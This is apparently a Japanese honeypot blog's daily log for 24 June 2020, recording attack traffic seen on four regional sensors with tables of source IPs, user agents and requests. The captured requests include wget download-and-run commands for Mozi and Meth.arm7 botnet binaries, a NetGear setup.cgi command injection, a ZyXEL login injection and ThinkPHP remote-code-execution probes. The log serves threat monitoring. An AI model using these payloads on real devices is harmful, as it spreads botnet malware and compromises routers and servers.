2020/06/24 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/06/24分です。

特徴

Location：JP

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
XTCによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
UserAgentがHello, Worldであるアクセス
Gh0stRATのような動き
を確認しました。

Location：US

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
を確認しました。

Location：UK

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZyXELのNAS製品の脆弱性(CVE-2020-9054)を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス
5[.]188[.]210[.]101に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.95.168.228/YaO2uFOvUG8LV1y5NY1aCHmr1WdBLjcjiVD6aRRAWDL6oNY29J88y0nrXxaHBmTLEYC9yB56gBn95pco8kCbldVsHmjNQk8JTaC/Meth.arm7;
chmod 777 /tmp/Meth.arm7;
sh /tmp/Meth.arm7 selfrep.jaws

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：SG

GPONルータの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

他

アクセス数推移

JP：総アクセス数：59 (前日比：+11)
US：総アクセス数：33 (前日比：-207)
UK：総アクセス数：26 (前日比：-2)
SG：総アクセス数：28 (前日比：+12)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.246.222.94	South Korea
1	37.49.224.253	Netherlands
17	44.224.22.196	United States
17	44.225.84.206	United States
1	58.217.159.82	China
1	66.240.205.34	United States
1	94.200.76.222	United Arab Emirates
1	96.40.83.64	United States
1	114.35.75.217	Taiwan
1	117.239.149.94	India
1	157.230.216.203	United States
1	162.243.139.50	United States
2	185.202.1.188	Netherlands
1	192.241.208.191	United States
12	195.54.160.135	Russia

UserAgent一覧

件数	UserAgent
25	-
14	AWS Security Scanner
1	ApiTool
1	Hello, World
1	Lets eat pork toghether <3
12	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
2	Mozilla/5.0 zgrab/0.x
1	XTC
1	polaris botnet

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
2		\x03
10		\x16\x03\x01
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
1	GET	/requested.html	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
2	GET	http[:]//169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
2	GET	http[:]//example[.]com/	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/GponForm/diag_Form?script/	HTTP/1.1
2	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/boaform/admin/formPing	HTTP/1.1
1	POST	/cgi-bin/mainfunction.cgi	HTTP/1.1
1	POST	/editBlackAndWhiteList	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	12.104.168.202	United States
1	61.219.11.153	Taiwan
10	106.12.153.108	China
1	109.226.241.193	Russia
1	111.38.10.161	China
1	117.239.149.94	India
1	185.158.113.63	Russia
1	192.241.209.11	United States
11	195.54.160.135	Russia
3	203.34.152.155	China
1	205.185.114.231	United States
1	222.186.19.210	China

UserAgent一覧

件数	UserAgent
3	-
2	Go-http-client/1.1
3	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)
1	Mozilla/5.0
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
2		-
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/core/media/res/logo-avito.svg	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/goip/cron.htm	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
1	GET	/hudson	HTTP/1.1
1	GET	/index.html?findcli=-1	HTTP/1.1
1	GET	/index.php	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//111[.]38[.]10[.]161:51109/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/smb_scheduler/cdr.htm	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
3	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.101	Russia
1	45.136.108.64	Germany
1	61.219.11.153	Taiwan
1	75.145.190.44	United States
1	82.62.246.70	Italy
1	119.45.149.82	China
1	162.243.138.213	United States
1	180.118.17.50	China
1	192.241.220.87	United States
17	195.54.160.135	Russia

UserAgent一覧

件数	UserAgent
2	-
2	Hello, world
2	Mozilla/5.0
17	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		\x03
3	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
3	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
2	GET	/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bls%20%23&password=asdf	HTTP/1.1
1	GET	/hudson	HTTP/1.1
3	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+45.95.168.228/YaO2uFOvUG8LV1y5NY1aCHmr1WdBLjcjiVD6aRRAWDL6oNY29J88y0nrXxaHBmTLEYC9yB56gBn95pco8kCbldVsHmjNQk8JTaC/Meth.arm7;chmod+777+/tmp/Meth.arm7;sh+/tmp/Meth.arm7+selfrep.jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
3	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	http[:]//5[.]188[.]210[.]101/echo.php	HTTP/1.1
3	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.62.47.241	Canada
1	49.112.27.82	China
1	61.219.11.153	Taiwan
3	89.248.172.90	Netherlands
1	95.217.122.245	Finland
1	167.71.199.239	United States
1	185.128.41.50	Switzerland
1	192.241.216.180	United States
1	192.241.216.202	United States
14	195.54.160.135	Russia
1	205.185.114.231	United States
1	220.132.183.85	Taiwan
1	222.186.19.210	China

UserAgent一覧

件数	UserAgent
5	-
1	Go-http-client/1.1
1	Hello, World
1	Java/1.8.0_131
14	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 zgrab/0.x
1	python-requests/2.23.0

リクエスト内容一覧

件数	Method	Request	Protocol
4		-
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
3	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
3	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/hudson	HTTP/1.1
3	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/portal/redlion	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vicidial/admin.php?ADD=140000000000	HTTP/1.1
1	GET	http[:]//httpheader[.]net/azenv.php	HTTP/1.1
1	GET	http[:]//soundcloud[.]com/	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
3	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1